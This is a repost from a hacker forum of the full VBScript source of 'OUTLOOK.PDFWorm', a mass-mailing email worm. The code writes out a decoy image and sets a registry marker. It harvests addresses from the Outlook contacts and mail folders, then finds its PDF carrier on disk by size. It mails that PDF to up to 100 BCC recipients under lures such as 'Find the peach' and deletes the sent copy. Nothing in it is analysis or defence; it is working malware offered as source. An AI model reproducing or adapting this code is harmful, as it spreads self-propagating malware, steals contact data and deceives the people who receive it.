pdf病毒的源代码(VBS)
pdf病毒的源代码
来源:http://forum.eviloctal.com/read-htm-tid-17428-fpage-2.html
On Error Resume Next
Dim P 'Stores the path of the PDF file. It is declared because it needs to be gl
obal but it's first used by a procedure.
Dim U() 'Array storing email addresses. This array is always one number bigger t
han the amount of email addresses.
ReDim U(0)
'Create and open image file showing what the user expects.
KJ="474946383961CD008D00F7000000000010290018000018290018310821080021100021180029
10002918003118002129002925083918082931003529042131102139102942184433104A31183152
25415A2D4E60395A39086544155A5629605D2E5A6339526F466363396070446B5431775B2D746C43
85683E916B3F96714AA86F43B975437B81568D8E60A68150A49369B97C4BBB905FB59C69B1A76FCA
8344C98257CE9062CA9C62D6844FDA9454D79164E89762C1A66FCBA773D8A568D6B073E4A26BEDA2
69E4AB6BE5B2730000FF0808FF1010FF1818FF2121FF2929FF3131FF3939FF4242FF4A4AFF5252FF
5A5AFF6363FF6B6BFF7373FF7B7BFFA5AD84BDC694C6AD84CEB286BDBD9CC6CE9C8484FF8C8CFF94
94FF9C9CFFA5A5FFADADFFB5B5FFBDBDFFC6C6FFCECEFFE79C7BDEA587EBA47BEFAD7BDAB184E7B5
7FD6B294E4B38ED6BD84DEBD88E7BD84E7C18CDBC094E2C698E7C69CE7CE9CE7ADA5E7B5A5D6CEA5
E2C1A5D6CEADDED2A5E7CEA5E7D6A5D6D6ADDED6ADE7D6ADE7DEADE7E7B5D6D6FFDEDEFFE7E7FFFF
0000FF0808FF1010FF1818FF2121FF2929FF3131FF3939FF4242FF4A4AFF5252FF5A5AFF6363FF6B
6BFF7373FF7B7BEFB573EFB57BF7A56BF7AD73F7B56BFBB173F7AD7BFBB57BFF8484FFAD84F7AD8C
FF8C8CFF9494FF9C9CFFA5A5FFADADEFBD73EFB97FF3C177F9C078EFB58CF1BA86F7BD88FFBA86EF
C684F3CA7FF7C684EFC68CF7CE7BFCCB7EF9C889FFCA88EFC694F3BD9CFFB994FBC694F7C69CFFC6
9CFFCE8CEFCE94EFB5ADEFBDADEFC6ADF7C6ADF7C6B5FFB5B5FFBDBDFFC6C6F7CE94FFCE94EFCE9C
F7CE9CF7D684F7D68CFFD68CF3DA90EFDA9CF7D694F7DE94FFD694FFDE8CFFDE94FFE78CFFE794F7
D69CF7DE9CFFCE9CFFD69CFFDE9CFFE79CEFCEA5EFD6A5EFDEA5EFE7A5F7D6A5F7DEA5F7E7A5FFCE
A5FFD6A5FFDEA5FFE7A5FFEFA5EFDEADEFE7ADF7D6ADF7DEADF7E7ADF7EFADFFDEADFFE7ADFFEFAD
F7E7B5FFCEB5FFD6B5FFDEB5FFE7B5FFEFB5F7EFBDFFD6BDFFE7BDFFEFBDFFDEC6FFE7C6FFCECEFF
D6D6FFDEDEFFE7E7FFEFEFFFF7F7EFEFFFF7F7FFFFFFFF2C00000000CD008D000008FE00FF091C48
B0A0C18308132A5CC8B0A1C38710234A9C48B1A2C58B18336ADCC8B1A3C78F20438A1C49B2A4C993
2853AA5CC9B2A5CB973063CA8CB96F5FBE7B3873EADBC76FA6CF9F20F5DDEBC42811214282062955
9A745021458D3EE1DB07B4AA5587FB7E614A34285020418100891D4B1690D7B38416719A7AB5EDD5
7D9F1411F25AB6AEDDB261031562F48BAADBBF2FF161EA1AF6AEE1C362BD1AE2A40FB06394F81881
454CB972A0418DEE3DDE0C32F2E4CAA0297FCDCCB934C67C8D04855E0DFA32A6C6A6633FE4E76990
6AD6B8451FF225BBB7C27C8B0AE71E7EF82B26BFBE93FFF355E836F1E7860521C2A7BC373F4E83A0
6B2F4EA85775D3FB52FE6F1F7FF72BA7EF9BF70527CFBEAED74DE801AB77DEBEBE5841F0E3BF5D44
1FBA5741008215205DE3E1A75F55FC48A6DD7F8420F208279DF882532F9D70E2C8214899A5DD20E7
1DE81326C2E5E6D5208A78B2D342FCD8C409226085889B20DE7918D3272EAEF655229FC016113FF9
7062C867B90D429D8C2EDDD35F685F31924F4F17F1E30B8B355A66087244A6C4CF21220AB288661C
39F9A3888D54B91226220ED209931EED83099048F226E64946BE88089722F592216B8550F96648FC
2012A561A3E919123E891C8958208FEC4992277F9627488727EDA3E06A820CA9E847FA10C2DA20BD
A079123F6BDAA888A7976EF448A3760DE2894B8E181A9D9BFEA56EA44F76A10992A84BFBF8592B22
A4C66A1188482222A84AF8685A2B9DBE5AB44F21AB092913A3482E922C46D08226C8AA3225886A59
82E433AD45896C3B562089F44A1000E8A6ABEEBAECB6BB6E42992299DFB712E5E3AA5D82207B90BB
FCF6CBAE429D883B5621E6D2BBD026029BC548C103A1CB80020618804003259861062F70C4914B1C
71EC62C619669081430B2EA8400208143C8CAE42CB22A9AFC1282252ABA509A17B0004071C900005
2BE402073BBAC8530F39EDCCD38E3BE858B3C6196AE4D082081424A0C0CA00278C28CC0FE9732F5E
8A34846E04114030C0031EB860861B6EDCF2C635EBBCB38E38E26CA30D30A8FCA0830E2A80A080FE
005427B48FB1951DC230D604F992308C5E035081051204E0800752B401CB2DC8548ECD38E68C830D
36C824838A283FF890430A204CD07742A75AAB23E109015BD920ABD70CC0051D58308003224CF1C6
1AB72403CD36DC8883F91DD844834C31AA80A2461A52E47D3A42BE6C4D5620BFB0BE50B896959B78
07DC5B20C20B7568B3861A6B40930E3AD888938E39C053B34C31A98882061B2E80F0FC41B3B606A9
F506FDADBF43E8E21E0A5610853CD0031DC2D8C10E4AF18D7468A31CE978473AD2018E66C00F1568
B0831944703F83F44960819016FF0EB20F5A89A67A89FBC0055250053EAC631DDA58850E66A00358
78431BDA70073CDEA10E7050E318FEC440C514ACC1861174D020AE3B542246883FE98D6510C3DA17
0050800228E0210F7778833060510619C46007B180C5309036417054A319C438C60EAE51C42316C4
70A03904130D720F1012228A0641170AA840073EE4E10DC8D8C63766218313B4600CA418A337BEF1
0D1F3E4319C7B8C53CEC60440034A48EA0B9E31C098249D120E2217A94031DF070876B5C431BD308
060F58C0CA30942116B490C637A8410D65304319B7B8461B4AE04682E4EF757864DD2F5AB3440002
20057290431D4A090D684CA3143F90010B4C100319E44016D298C6348A518C34DE421BBBECE5404A
68AD60122E60D903250056300739D8E10EC86866324C51061EB4609A26FE60812648218D60A80215
A928C637D7C04B4B32C47F95A9D42607C20910163371ECB4831D4C190D6F502318C1208518BC7802
13C8000CB378852940910A62C0021A6E286843C86999978DB05A4A54273BDB60076B08921A8D9CC6
2C4A410A30C4809536B0C42954110A51A46215C320A838058250CA0822764CFC8543656AB136DC42
18B304C737A0B18A59CC42163E8D410CC060894B88021491408530D64082A5FE83A59481E24205D2
C943196270E7024009A4200532B0A177D0A0253480418BAF6A020C3648EC0D7830094880A20CB048
435B0DBA907C981031729D2B3E12A6C9C48DC0052E90C214D4708B622C231A8CD4A92C4C218B4CDC
800634B8FE810F28018932AC41B26EAD2B62088157ACEDC389F7F156E244908217BC00073B288631
5CD10CD4522395C19845247860031858B7063E08C52DC830D986D008349F9CEB5B0177A81831045D
1E4841715D800350B04215BE8B86EF96010C5B8402123AA8817569008319A8610A956C8823A62A5E
7E144260827084313D8082F5227714AA10683292310D6004C316AA8804247A5003FD9E800533C041
80516408103242BC02598F6E7AFB0FF47E60802F98C10E7E208A35ACE216C098C63252A98A538C62
123EA8017F0DE93CCA26041FC0354B2750FC0F74BE4EB80B41170736F0811480760633F001F95661
61692C6319C178C5292E31891EDCA0062D6881FE0932B0544F243910345BE866AD85AD2803C00378
1E810A5C40431D94A10C6AE8AA2BBC3A0D6988B9CC3D98E10C54C066232344C594E9AC789B4A19C1
9D170022F0C00636400215B440063CD841187E50065294A2149708E929C63C0949F480862D088138
7F291A11329911B58295EC34B081093C000321C8670C6CA0033080E1076218C318C450D6555FA212
9368C10F72D05D853CE2CD7546712FACC62B3BFBEBDBEE5248BC54C76481F083BC88419C42C0CDEE
7FA12E6180B075B907DC9A29F9E41E974DB779CB8DE45A9D5826FAC05268F254EE817C1049D96E09
3FC4D31A4C149C209F48B258068142977042E2802004941FDE32241902AA28F945BEFED3FDEF870F
A413180F8422CC19927C1CB859717EF89558A325967B241F5F42D2AD4C5E388C9B651136DF083E5E
BE1A4280DCE48C8077620CE1D28F7C02DD094D38CF05326E1B9989C515D9C7B571432EAC6B5BE963
D1D2D19B740F5DE146E3534F48D2B3E488B14FE41E8AF0F9B8A49EF681E8A3C4C3B94C2362BE235F
C49D38815858DD13826FB04F4F4B9F58124478E4093F197E5C87083ACF7BC126AE7FC5108DE8453E
78E2419B7CC2113F22D0700451888D0F1E2117DFCE5904410843282211AF7F7D2108D195CA9749D7
A74F08C2DA7396DE3FFE3083C07DEE138272FB181F1085A8F8F01942F9DF1FDF2E7AE1FBF213F20B
663D7F418830FDF419FEA20FB35F1F4C92DFBEC15BF57DDCA84AFC15F1C55CCA6F99E9A05F59AD72
BEEAAFFE7E8CC05DEEAA170423A45FFFB7C75DFE56B708FCD77F15710F8CD015C7E715858009DA47
80B2B20987807FC5210889E009E1E78014C10FBFD00873E17C67610898308018F811FC700F9CB008
11A81A8591170492174971088BE0098A37820AC70FFAE00B9C8009985014B1D70898B0099DD0179C
47834438125910044040044CE00745081849000450080443F0074DE81648108550F80455D8165788
854930135A808443D00454B849FE70854AC8841BD18551880432E10F43808545E00F9BF484512804
7DB0865808046E78107F808659501257B08740B0051AD10FFE47908481A81C59408856A08758D887
06D10458C80523D10F42E0881AC10495181146000441C004650813FD1087582804FD00896D881044
80854B30124E408840A08519D18A51F88A10218732F1048488051CC18650288905618B50A80422E1
054848888B8811C40804C6988B58181370B88747D011C0C88708918851F88821F189B2B88C09D107
42100448A08607A18D50C88D0FB18731D1887BF8051D51047B288C04E105DE9804740812BC288B85
C81094188C09618F50888F11C18E30818E50888B1CD18CD8481156100444E0047958108808044270
044F908AE7C88F40D0050C8190FEA0910FD1074900914F309105619009D10F10790456308A0371FE
8543C004F928107F9088179991E14888E6B8110CF98507F105AD38044E701056B087B438104AB087
42E0057EC8044930887BE8910BD18C62E80422F90F422985453910E2B8870449102A39105690044E
008F5D808541C0847F80055B800558D80404B194A7E89446398F1FC1904C8010EE08855D798547D0
979D28105F208B6B99107F4088289910C948884D391082D995FF40977B2899FFE00FD4A80503A105
58F8059C89854ED99858380403519884789806819050180418D99317C1900A591082499AFFC09109
39109C288B7B89107EC0930C619B425086B32910FDC08F44301057208F7B489B93099A9F198554C8
91B8C98FBB4910C5699B4D909515FEC190F408997B4887B60904452010FED09844B0055118043BB9
87AE79108E1997022198404087CF498803219AD12810CDE80752198502219D02619EE8B99A0631A0
B6890435B99D787910F2C9847B580489999E02E10571899951088F079196ECF99B588805160A85B4
D9A0FF108BFC3810FCA89E02918951D80FFBE89FB5298B4230A115DA9905D1A2B6A98E0A1A897CB9
A148F9A22EDA9FFD88858698A1BEB910066990226A87AB798703F104CA198544A090EC7894F9498D
032910406A88425A10949985FEF0074F6A91CCB887B1491022BA875A9A9F4B80857FF0A140008E04
A1A1346AA4D1E8A640109F1B1AA657A0A249F90F720A8559798AFF60A3FE77EAA350E8074FF09202
B1A6D0E9A6701AA641908FB979A1AFB987D5299B3C8A850E9A9FE818044DD08C5780107F0A8554F9
0F484004706AA8776A9A50789CFF20A2CD88986369A8C749A551B8A92E4A109DFAA95818AA04D18C
E329105D0A049A69117AB9A39AAAAAFF999F0CB987381AA7844895D70904722996D1089751089467
9A9F083196BD1985E349A2B7AAACC378A3E5BA8A0211A66F5AA9A778055BE09ADBEAA206D9ACA068
044CB098D03A950221A7CF68A2D1A8A440C08DF10A85FBEAA9093A966EEA868C3AAEB3FA0FF41A04
F68AAF61DA87D31A85A54A11F40AA2EA38B0853AAF7778055CF0077EE005095A10A3BAAEFF80AD40
E0ABFEBAFEA2A269971CFB0F7F608ABED8B2046BAD577A8DB87AB3BFFAB1213BB225DB9CE02A10F5
09A817A19ABD88A7C97AA4F9E98D0D898C520893F98A858B68AB186AB32B2BA84A3BAE2A7AA86C28
8CB38A857B698A0CCBAD03E1B47D08B55388A94CFA0FAA49B147E0A9DAC91093CA8FDA9AA9F29A9F
E23A04FDB0058D79B526AB8C02919B319A921C59ADAFBAA1D7089FE439AB4FBA0427BBACB93A107B
DBB77F5B10D318855EA0B2163BB8D91A119C2B8BAE1AB3864A9B14CA8F469010DFDAAB026187972A
B9B278B5221ABA730ABB853A100B5BA2E45A8F1C99BA051A9E92289A11B1BAB23804DC38AA3B5BA8
C42889C3BA9A806B105D9B8E02E18D438AB384FED8AF7EBAA1FE40AF653AAB276B90647BBB736998
CF8B9C1C3904E6488CCCF910C34A8E57B098114AA0FF10A613FA89426089E4A9AE4150BD0801A401
AB9F5018B427DA93F10B8AA519BD406004DA19BD0691BB47A8A6663B10FEA0BFFC6B105C10BE20BA
98E26A990ED10F48C09A4DC005411B9F43B988FDE004F2588D0AE10FC9098A4950BE07A105489089
4140955840044069B8A379047669A6254C107EC0049948044F10B45EE00447709106E10F4F10878F
68055D4B877F8884DD499E2D1C042FCC10FE900549108742B004AEE90F4BA90423AC28DFB9856DD1
B068EC136ABCC632D1C66E0C13701CC72EA1B574EC1364ABC2773C137FF0049F58B30F7B1CC8823C
C8845CC886EC21010100003B"
For Y=1 To Len(KJ) Step 2
PQ=PQ&Chr("&H"&Mid(KJ,Y,2))
Next
Set S=CreateObject("Scripting.FileSystemObject")
Set FY=S.CreateTextFile(S.BuildPath(S.GetSpecialFolder(2),"PEACH.JPG"),True)
FY.Write PQ
FY.Close
Set W=CreateObject("WScript.Shell")
W.Run S.BuildPath(S.GetSpecialFolder(2),"PEACH.JPG")
'Create and check registry key to know if it was already run.
IJ=W.RegRead("HKLM\Software\OUTLOOK.PDFWorm\")
If IJ="Version 1.0. By Zulu." Then
WScript.Quit
Else
W.RegWrite "HKLM\Software\OUTLOOK.PDFWorm\","Version 1.0. By Zulu."
End If
'Check if Outlook is installed.
Set C=CreateObject("Outlook.Application")
If C Is Nothing Then WScript.Quit
'Get email addresses from Outlook's address book and Outlook's emails (using OLE
Automation).
'It will add them to the "U" array with the "Q" procedure using a method not see
n before in any virus.
Set Z=C.GetNameSpace("MAPI")
Set N=Z.Folders(1)
Q N
'If it was not able of finding email addresses the file will stop running.
If UBound(U)=0 Then WScript.Quit
'Find duplicated addresses in the "U" array and assign an empty string in their
place.
For Y=0 To UBound(U)-1
For X=Y+1 To UBound(U)-1
If U(Y)=U(X) And U(Y)<>"" Then U(X)=""
Next
Next
'Remove the infected user's email addresses from the "U" array. It will check fo
r the first 19 accounts.
For Y=1 To 9
J W.RegRead("HKCU\Software\Microsoft\Office\Outlook\OMI Account Manager\Accoun
ts\0000000"&Y&"\SMTP Email Address")
J W.RegRead("HKCU\Software\Microsoft\Office\Outlook\OMI Account Manager\Accoun
ts\0000000"&Y&"\SMTP Reply To Email Address")
J W.RegRead("HKCU\Software\Microsoft\Office\Outlook\OMI Account Manager\Accoun
ts\0000001"&Y&"\SMTP Email Address")
J W.RegRead("HKCU\Software\Microsoft\Office\Outlook\OMI Account Manager\Accoun
ts\0000001"&Y&"\SMTP Reply To Email Address")
Next
J W.RegRead("HKCU\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
\00000010\SMTP Email Address")
J W.RegRead("HKCU\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
\00000010\SMTP Reply To Email Address")
'Check if there are email addresses in the "U" array after removing infected use
r's email addresses.
For Y=0 To UBound(U)-1
If U(Y)<>"" Then Exit For
If Y=UBound(U)-1 Then WScript.Quit
Next
'Check if Word is installed and search for PDF files with the correct size. When
using Word the search will include all
'places in each fixed drive, the other type of search will only include usual pl
aces. The path of the PDF file will be
'stored in the "P" variable.
'I also tried looking for the task name using "Tasks.Item().Name" from Word, but
it was only possible to find the file
'name, not the full path of the file, so a search is needed.
Set A=CreateObject("Word.Application")
If A Is Nothing Then
For Each B In S.Drives
If B.DriveType=2 Then
E B.DriveLetter&":\"
If P<>"" Then Exit For
End If
Next
If P="" Then E S.GetSpecialFolder(2)
If P="" Then E W.SpecialFolders("Desktop")
If P="" Then E W.SpecialFolders("MyDocuments")
If P="" Then E W.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\Progr
amFilesDir")
Else
Set G=A.FileSearch
G.NewSearch
G.FileName="*.PDF"
G.SearchSubFolders=True
'Do the search in each drive while the file is not found.
For Each B In S.Drives
If B.DriveType=2 Then
G.LookIn=B.DriveLetter&":\"
G.Execute
If G.FoundFiles.Count>0 Then
For Y=1 To G.FoundFiles.Count
Set L=S.GetFile(G.FoundFiles(Y))
If L.Size>168230 And L.Size<168250 Then
P=G.FoundFiles(Y)
Exit For
End If
Next
If P<>"" Then Exit For
Else
G.NewSearch
G.FileName="*.PDF"
G.SearchSubFolders=True
End If
End If
Next
A.Quit
End If
'If the path is not found ("P" is empty) the file will stop running.
If P="" Then WScript.Quit
'Create a string with values from the "U" array (to be used as the BCC part of t
he email message).
'It will limit the amount of email addresses to 100.
If UBound(U)-1<100 Then
For Y=0 To UBound(U)-1
If U(Y)<>"" Then
If T="" Then T=U(Y) Else T=T&";"&U(Y)
End If
Next
Else
Dim JD(99)
For Y=0 To 99
JD(Y)=Int(UBound(U)*Rnd)
Next
For Y=0 To 99
For X=Y+1 To 99
If JD(Y)=JD(X) And JD(Y)<>-1 Then JD(X)=-1
Next
Next
For Y=0 To 99
If JD(Y)=-1 Then JD(Y)=Int(UBound(U)*Rnd)
Next
For Y=0 To 99
For X=Y+1 To 99
If JD(Y)=JD(X) And JD(Y)<>-1 Then JD(X)=-1
Next
Next
For Y=0 To 99
If JD(Y)<>-1 And U(JD(Y))<>"" Then
If T="" Then T=U(JD(Y)) Else T=T&";"&U(JD(Y))
End If
Next
End If
'Set subject, body and attachment name.
Randomize
If Int(2*Rnd)=0 Then O="Fw: "
EY=Int(5*Rnd)
If EY=0 Then
O=O&"You have one minute to find the peach"
ElseIf EY=1 Then
O=O&"Find the peach"
ElseIf EY=2 Then
O=O&"Find"
ElseIf EY=3 Then
O=O&"Peach"
Else
O=O&"Joke"
End If
If Int(2*Rnd)=0 Then O=O&"!"
If Int(4*Rnd)=0 Then O=UCase(O)
If Int(2*Rnd)=0 Then F="> "
EY=Int(5*Rnd)
If EY=0 Then
If Left(O,2)="Fw" Then F=F&Mid(O,5) Else F=F&O
ElseIf EY=1 Then
F=F&"Try finding the peach"
ElseIf EY=2 Then
F=F&"Try this"
ElseIf EY=3 Then
F=F&"Interesting search"
Else
F=F&"I don't usually send this things, but..."
End If
If EY<4 Then
If Int(2*Rnd)=0 Then F=F&"!"
End If
EY=Int(5*Rnd)
If EY=0 Then
F=F&" :-)"
ElseIf EY=1 Then
F=F&" :)"
ElseIf EY=2 Then
F=F&" =)"
ElseIf EY=3 Then
F=F&" :-]"
End If
If Int(4*Rnd)=0 Then F=UCase(F)
EY=Int(6*Rnd)
If EY=0 Then
SW="find.pdf"
ElseIf EY=1 Then
SW="peach.pdf"
ElseIf EY=2 Then
SW="find the peach.pdf"
ElseIf EY=3 Then
SW="find_the_peach.pdf"
ElseIf EY=4 Then
SW="joke.pdf"
Else
SW="search.pdf"
End If
EY=Int(3*Rnd)
If EY=0 Then
SW=UCase(Left(SW,1))&Mid(SW,2)
ElseIf EY=1 Then
SW=UCase(SW)
End If
SW=S.BuildPath(S.GetSpecialFolder(2),SW)
'Copy PDF file to the temporary directory.
S.CopyFile P,SW
'Send email message.
Set H=C.CreateItem(0)
H.BCC=T
H.Subject=O
If Int(2*Rnd)=0 Then H.Body=F Else H.HTMLBody=F
H.Attachments.Add SW
H.DeleteAfterSubmit=True
H.Send
'Delete PDF file from the temporary directory.
S.DeleteFile SW,True
'Recursive procedure used to get email addresses from Outlook and add them to th
e "U" array. It will get addresses from
'each contact in the address book (using a method not seen before in any worm an
d getting the first three addresses of
'each contact) and from the recipients of all emails found in any Outlook folder
.
Sub Q(I)
On Error Resume Next
For Each B In I.Items
'If the item is a contact (it will give an error and continue if not), get i
t's first three email addresses.
If B.Email1Address<>"" Then D B.Email1Address
If B.Email2Address<>"" Then D B.Email2Address
If B.Email3Address<>"" Then D B.Email3Address
'If the item is an email (it will give an error and continue if not), get th
e email addresses of all recipients.
For Each R In B.Recipients
D R.Address
Next
Next
'Use the procedure with all subfolders.
For Each B In I.Folders
Q B
Next
End Sub
'Procedure that adds a value to the "U" array and changes the size of that array
.
Sub D(M)
On Error Resume Next
U(UBound(U))=M
ReDim Preserve U(UBound(U)+1)
End Sub
'Procedure that checks if the email address passed as parameter is available in
the "U" array and, if so, it assigns an
'empty string in that array index.
Sub J(V)
On Error Resume Next
For X=0 To UBound(U)-1
If UCase(U(X))=UCase(V) Then
U(X)=""
Exit For
End If
Next
End Sub
'Recursive procedure used when searching for the PDF file without using Word. It
will try finding the PDF file by looking
'for files with that extension and the correct size. If the file is not found in
the specified directory it will look
'for all subdirectories and it will call itself using them as the new parameter.
Sub E(K)
On Error Resume Next
If S.FolderExists(K) Then
'Check all files in the specified directory.
For Each R In S.GetFolder(K).Files
If UCase(S.GetExtensionName(R.Name))="PDF" Then
If R.Size>168230 And R.Size<168250 Then
P=R.Path
Exit For
End If
End If
Next
'If the file was not found and the directory is not root, use the procedure
with all subdirectories.
If P="" And Right(K,2)<>":\" Then
For Each R In S.GetFolder(K).SubFolders
E R.Path
Next
End If
End If
End Sub